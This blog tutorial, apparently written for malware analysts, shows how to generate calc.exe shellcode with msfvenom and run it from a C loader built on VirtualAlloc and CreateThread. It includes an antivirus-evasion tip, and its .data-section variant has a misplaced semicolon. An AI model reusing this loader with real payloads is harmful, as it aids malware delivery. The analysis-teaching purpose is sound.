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Home » How to embed shellcode payload into an executable quickly

How to embed shellcode payload into an executable quickly

    Introduction

    A good malware analyst has to know how to embed shellcode payload into an executable in just a few minutes, is the best way to recognize it during an analysis.

    Trojans or, more generally, some malware often embed shellcode within their code, in particular, some attacker can hide it within sections:

    • .text
    • .data
    • .rsrc

    In this article we will see how it is possible to do this, in practice, with regard to the first two sections.
    The code will only have an explanatory function, a malware developer will pay a lot more attention for example to avoid being “discovered” by an anti-malware.

    Prerequisites

    To begin with, we need a Windows machine and a Linux machine.
    For this purpose I will use two virtual machines in virtualbox.
    – Kali linux
    – Flare VM (Windows 7 Ultimate x64)

    Shellcode Generation

    The malware we are going to write is totally harmless, and the final result will be simply the launch of calc.exe (usually for proof of concept in windows we can launch either calc.exe or notepad.exe).

    The first step is to generate the shellcode, for this we will use msfvenom with our Kali linux machine.

    • We open a terminal and type the following command:
    $ msfvenom -p windows/x64/exec --format c CMD=calc.exe EXITFUNC=thread

    Let’s analyze the options:

    • -p windows/x64/exec indicates that we are asking to launch the exec payload.
    • –format c asks that the shellcode is formatted for the c language.
    • CMD=’calc.exe’ is a payload option and asks what command to run.
    • EXITFUNC=thread another payload option, in this case it is the function to call at the end of the execution of the shellcode, specifying ‘thread’ will execute ‘ExitThread’.

    This command will output the following shellcode:

    unsigned char buf[] =
    "\xeb\x27\x5b\x53\x5f\xb0\xb0\xfc\xae\x75\xfd\x57\x59\x53\x5e"
    "\x8a\x06\x30\x07\x48\xff\xc7\x48\xff\xc6\x66\x81\x3f\xd8\xcd"
    "\x74\x07\x80\x3e\xb0\x75\xea\xeb\xe6\xff\xe1\xe8\xd4\xff\xff"
    "\xff\x07\xb0\xfb\x4f\x84\xe3\xf7\xef\xc7\x07\x07\x07\x46\x56"
    "\x46\x57\x55\x56\x51\x4f\x36\xd5\x62\x4f\x8c\x55\x67\x4f\x8c"
    "\x55\x1f\x4f\x8c\x55\x27\x4f\x8c\x75\x57\x4f\x08\xb0\x4d\x4d"
    "\x4a\x36\xce\x4f\x36\xc7\xab\x3b\x66\x7b\x05\x2b\x27\x46\xc6"
    "\xce\x0a\x46\x06\xc6\xe5\xea\x55\x46\x56\x4f\x8c\x55\x27\x8c"
    "\x45\x3b\x4f\x06\xd7\x8c\x87\x8f\x07\x07\x07\x4f\x82\xc7\x73"
    "\x60\x4f\x06\xd7\x57\x8c\x4f\x1f\x43\x8c\x47\x27\x4e\x06\xd7"
    "\xe4\x51\x4f\xf8\xce\x46\x8c\x33\x8f\x4f\x06\xd1\x4a\x36\xce"
    "\x4f\x36\xc7\xab\x46\xc6\xce\x0a\x46\x06\xc6\x3f\xe7\x72\xf6"
    "\x4b\x04\x4b\x23\x0f\x42\x3e\xd6\x72\xdf\x5f\x43\x8c\x47\x23"
    "\x4e\x06\xd7\x61\x46\x8c\x0b\x4f\x43\x8c\x47\x1b\x4e\x06\xd7"
    "\x46\x8c\x03\x8f\x4f\x06\xd7\x46\x5f\x46\x5f\x59\x5e\x5d\x46"
    "\x5f\x46\x5e\x46\x5d\x4f\x84\xeb\x27\x46\x55\xf8\xe7\x5f\x46"
    "\x5e\x5d\x4f\x8c\x15\xee\x50\xf8\xf8\xf8\x5a\x4f\xbd\x06\x07"
    "\x07\x07\x07\x07\x07\x07\x4f\x8a\x8a\x06\x06\x07\x07\x46\xbd"
    "\x36\x8c\x68\x80\xf8\xd2\xbc\xe7\x1a\x2d\x0d\x46\xbd\xa1\x92"
    "\xba\x9a\xf8\xd2\x4f\x84\xc3\x2f\x3b\x01\x7b\x0d\x87\xfc\xe7"
    "\x72\x02\xbc\x40\x14\x75\x68\x6d\x07\x5e\x46\x8e\xdd\xf8\xd2"
    "\x64\x66\x6b\x64\x29\x62\x7f\x62\x07\xd8\xcd";

    Now save the output and move to your Windows machine on our VisualStudio editor.

    Embed shellcode payload into an executable

    The first step includes importing the necessary libraries:

    #include <windows.h>
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>

    Next we will declare the variables we need and initialise the array containing the shellcode.

    void * shellcode_alloc_mem ;
    
    HANDLE threadHandle;
    
    
    unsigned char shellcode[]=
    "\xeb\x27\x5b\x53\x5f\xb0\xb0\xfc\xae\x75\xfd\x57\x59\x53\x5e"
    "\x8a\x06\x30\x07\x48\xff\xc7\x48\xff\xc6\x66\x81\x3f\xd8\xcd"
    "\x74\x07\x80\x3e\xb0\x75\xea\xeb\xe6\xff\xe1\xe8\xd4\xff\xff"
    "\xff\x07\xb0\xfb\x4f\x84\xe3\xf7\xef\xc7\x07\x07\x07\x46\x56"
    "\x46\x57\x55\x56\x51\x4f\x36\xd5\x62\x4f\x8c\x55\x67\x4f\x8c"
    "\x55\x1f\x4f\x8c\x55\x27\x4f\x8c\x75\x57\x4f\x08\xb0\x4d\x4d"
    "\x4a\x36\xce\x4f\x36\xc7\xab\x3b\x66\x7b\x05\x2b\x27\x46\xc6"
    "\xce\x0a\x46\x06\xc6\xe5\xea\x55\x46\x56\x4f\x8c\x55\x27\x8c"
    "\x45\x3b\x4f\x06\xd7\x8c\x87\x8f\x07\x07\x07\x4f\x82\xc7\x73"
    "\x60\x4f\x06\xd7\x57\x8c\x4f\x1f\x43\x8c\x47\x27\x4e\x06\xd7"
    "\xe4\x51\x4f\xf8\xce\x46\x8c\x33\x8f\x4f\x06\xd1\x4a\x36\xce"
    "\x4f\x36\xc7\xab\x46\xc6\xce\x0a\x46\x06\xc6\x3f\xe7\x72\xf6"
    "\x4b\x04\x4b\x23\x0f\x42\x3e\xd6\x72\xdf\x5f\x43\x8c\x47\x23"
    "\x4e\x06\xd7\x61\x46\x8c\x0b\x4f\x43\x8c\x47\x1b\x4e\x06\xd7"
    "\x46\x8c\x03\x8f\x4f\x06\xd7\x46\x5f\x46\x5f\x59\x5e\x5d\x46"
    "\x5f\x46\x5e\x46\x5d\x4f\x84\xeb\x27\x46\x55\xf8\xe7\x5f\x46"
    "\x5e\x5d\x4f\x8c\x15\xee\x50\xf8\xf8\xf8\x5a\x4f\xbd\x06\x07"
    "\x07\x07\x07\x07\x07\x07\x4f\x8a\x8a\x06\x06\x07\x07\x46\xbd"
    "\x36\x8c\x68\x80\xf8\xd2\xbc\xe7\x1a\x2d\x0d\x46\xbd\xa1\x92"
    "\xba\x9a\xf8\xd2\x4f\x84\xc3\x2f\x3b\x01\x7b\x0d\x87\xfc\xe7"
    "\x72\x02\xbc\x40\x14\x75\x68\x6d\x07\x5e\x46\x8e\xdd\xf8\xd2"
    "\x64\x66\x6b\x64\x29\x62\x7f\x62\x07\xd8\xcd";
    
    unsigned int shellcode_len = sizeof(shellcode)/sizeof(unsigned char);

    After all this steps, we will allocate an area of memory in which to insert the shellcode.
    The prototype of the function is this:

    LPVOID VirtualAlloc(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD flAllocationType,
    DWORD flProtect
    );

    We will then let the system decide where to allocate the bytes corresponding to the length of the shellcode with all permissions.

    shellcode_alloc_mem = VirtualAlloc(0, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE );
    

    Those functions/macros can help us:

    The code needs a little comment, RtlMoveMemory is quite simple, it takes as parameters source, destination and length, and then moves the specified number of bytes from the source to the destination.
    CreateThread receives as third parameter the routine, which will be our shellcode, all cast to LPTHREAD_START_ROUTINE.
    WaitForSingleObject instead waits for the end of the thread.

    I don’t want to add more elements, before showing the complete code I wanted to specify that normally an antivirus will label as suspicious threads that have full permissions, so what malware developers usually do is to allocate with permissions PAGE_READWRITE, copy the shellcode and then use the VirtualProtect function and change the permissions to PAGE_EXECUTE_READ.

    But now let’s see the complete code:

    #include <windows.h>
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    
    int main(void)
    {
        void * shellcode_alloc_mem ;
    
        HANDLE threadHandle;
    
    
    unsigned char shellcode[]=
    "\xeb\x27\x5b\x53\x5f\xb0\xb0\xfc\xae\x75\xfd\x57\x59\x53\x5e"
    "\x8a\x06\x30\x07\x48\xff\xc7\x48\xff\xc6\x66\x81\x3f\xd8\xcd"
    "\x74\x07\x80\x3e\xb0\x75\xea\xeb\xe6\xff\xe1\xe8\xd4\xff\xff"
    "\xff\x07\xb0\xfb\x4f\x84\xe3\xf7\xef\xc7\x07\x07\x07\x46\x56"
    "\x46\x57\x55\x56\x51\x4f\x36\xd5\x62\x4f\x8c\x55\x67\x4f\x8c"
    "\x55\x1f\x4f\x8c\x55\x27\x4f\x8c\x75\x57\x4f\x08\xb0\x4d\x4d"
    "\x4a\x36\xce\x4f\x36\xc7\xab\x3b\x66\x7b\x05\x2b\x27\x46\xc6"
    "\xce\x0a\x46\x06\xc6\xe5\xea\x55\x46\x56\x4f\x8c\x55\x27\x8c"
    "\x45\x3b\x4f\x06\xd7\x8c\x87\x8f\x07\x07\x07\x4f\x82\xc7\x73"
    "\x60\x4f\x06\xd7\x57\x8c\x4f\x1f\x43\x8c\x47\x27\x4e\x06\xd7"
    "\xe4\x51\x4f\xf8\xce\x46\x8c\x33\x8f\x4f\x06\xd1\x4a\x36\xce"
    "\x4f\x36\xc7\xab\x46\xc6\xce\x0a\x46\x06\xc6\x3f\xe7\x72\xf6"
    "\x4b\x04\x4b\x23\x0f\x42\x3e\xd6\x72\xdf\x5f\x43\x8c\x47\x23"
    "\x4e\x06\xd7\x61\x46\x8c\x0b\x4f\x43\x8c\x47\x1b\x4e\x06\xd7"
    "\x46\x8c\x03\x8f\x4f\x06\xd7\x46\x5f\x46\x5f\x59\x5e\x5d\x46"
    "\x5f\x46\x5e\x46\x5d\x4f\x84\xeb\x27\x46\x55\xf8\xe7\x5f\x46"
    "\x5e\x5d\x4f\x8c\x15\xee\x50\xf8\xf8\xf8\x5a\x4f\xbd\x06\x07"
    "\x07\x07\x07\x07\x07\x07\x4f\x8a\x8a\x06\x06\x07\x07\x46\xbd"
    "\x36\x8c\x68\x80\xf8\xd2\xbc\xe7\x1a\x2d\x0d\x46\xbd\xa1\x92"
    "\xba\x9a\xf8\xd2\x4f\x84\xc3\x2f\x3b\x01\x7b\x0d\x87\xfc\xe7"
    "\x72\x02\xbc\x40\x14\x75\x68\x6d\x07\x5e\x46\x8e\xdd\xf8\xd2"
    "\x64\x66\x6b\x64\x29\x62\x7f\x62\x07\xd8\xcd";
    
        unsigned int shellcode_len = sizeof(shellcode)/sizeof(unsigned char);
        
        shellcode_alloc_mem = VirtualAlloc(0, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE );
    
        getchar();
        if(shellcode_alloc_mem )
        {   
            RtlMoveMemory(shellcode_alloc_mem, shellcode, shellcode_len);
            threadHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)shellcode_alloc_mem, 0, 0, 0);
            WaitForSingleObject(threadHandle, INFINITE);
        }
    
    
    }

    In this case our shellcode is inside the .text section, to make it in the .data section simply move our variable to global, exactly as I show in this example.

    #include <windows.h>
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    
    
    unsigned char shellcode[]=
    "\xeb\x27\x5b\x53\x5f\xb0\xb0\xfc\xae\x75\xfd\x57\x59\x53\x5e"
    "\x8a\x06\x30\x07\x48\xff\xc7\x48\xff\xc6\x66\x81\x3f\xd8\xcd"
    "\x74\x07\x80\x3e\xb0\x75\xea\xeb\xe6\xff\xe1\xe8\xd4\xff\xff"
    "\xff\x07\xb0\xfb\x4f\x84\xe3\xf7\xef\xc7\x07\x07\x07\x46\x56"
    "\x46\x57\x55\x56\x51\x4f\x36\xd5\x62\x4f\x8c\x55\x67\x4f\x8c"
    "\x55\x1f\x4f\x8c\x55\x27\x4f\x8c\x75\x57\x4f\x08\xb0\x4d\x4d"
    "\x4a\x36\xce\x4f\x36\xc7\xab\x3b\x66\x7b\x05\x2b\x27\x46\xc6"
    "\xce\x0a\x46\x06\xc6\xe5\xea\x55\x46\x56\x4f\x8c\x55\x27\x8c"
    "\x45\x3b\x4f\x06\xd7\x8c\x87\x8f\x07\x07\x07\x4f\x82\xc7\x73"
    "\x60\x4f\x06\xd7\x57\x8c\x4f\x1f\x43\x8c\x47\x27\x4e\x06\xd7"
    "\xe4\x51\x4f\xf8\xce\x46\x8c\x33\x8f\x4f\x06\xd1\x4a\x36\xce"
    "\x4f\x36\xc7\xab\x46\xc6\xce\x0a\x46\x06\xc6\x3f\xe7\x72\xf6"
    "\x4b\x04\x4b\x23\x0f\x42\x3e\xd6\x72\xdf\x5f\x43\x8c\x47\x23"
    "\x4e\x06\xd7\x61\x46\x8c\x0b\x4f\x43\x8c\x47\x1b\x4e\x06\xd7"
    "\x46\x8c\x03\x8f\x4f\x06\xd7\x46\x5f\x46\x5f\x59\x5e\x5d\x46"
    "\x5f\x46\x5e\x46\x5d\x4f\x84\xeb\x27\x46\x55\xf8\xe7\x5f\x46"
    "\x5e\x5d\x4f\x8c\x15\xee\x50\xf8\xf8\xf8\x5a\x4f\xbd\x06\x07"
    "\x07\x07\x07\x07\x07\x07\x4f\x8a\x8a\x06\x06\x07\x07\x46\xbd"
    "\x36\x8c\x68\x80\xf8\xd2\xbc\xe7\x1a\x2d\x0d\x46\xbd\xa1\x92"
    "\xba\x9a\xf8\xd2\x4f\x84\xc3\x2f\x3b\x01\x7b\x0d\x87\xfc\xe7"
    "\x72\x02\xbc\x40\x14\x75\x68\x6d\x07\x5e\x46\x8e\xdd\xf8\xd2"
    "\x64\x66\x6b\x64\x29\x62\x7f\x62\x07\xd8\xcd"
    
    int main(void)
    {
        void * shellcode_alloc_mem ;
    
        HANDLE threadHandle;
    
    ;
    
        unsigned int shellcode_len = sizeof(shellcode)/sizeof(unsigned char);
        
        shellcode_alloc_mem = VirtualAlloc(0, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE );
    
        getchar();
        if(shellcode_alloc_mem )
        {   
            RtlMoveMemory(shellcode_alloc_mem, shellcode, shellcode_len);
            threadHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)shellcode_alloc_mem, 0, 0, 0);
            WaitForSingleObject(threadHandle, INFINITE);
        }
    
    
    }

    And finally, let’s see the command to compile, to be run in the x64 Native Tools command prompt.

    >cl  /EHsc <FILENAME.cpp>

    At this point, when running, you should have a paused terminal, and on key pressing a thread will be launched and the shellcode executed.
    I suggest analysing the behaviour using a debugger such as xdbg.

    Further Readings

    If you found it interesting to read, I recommend the following articles.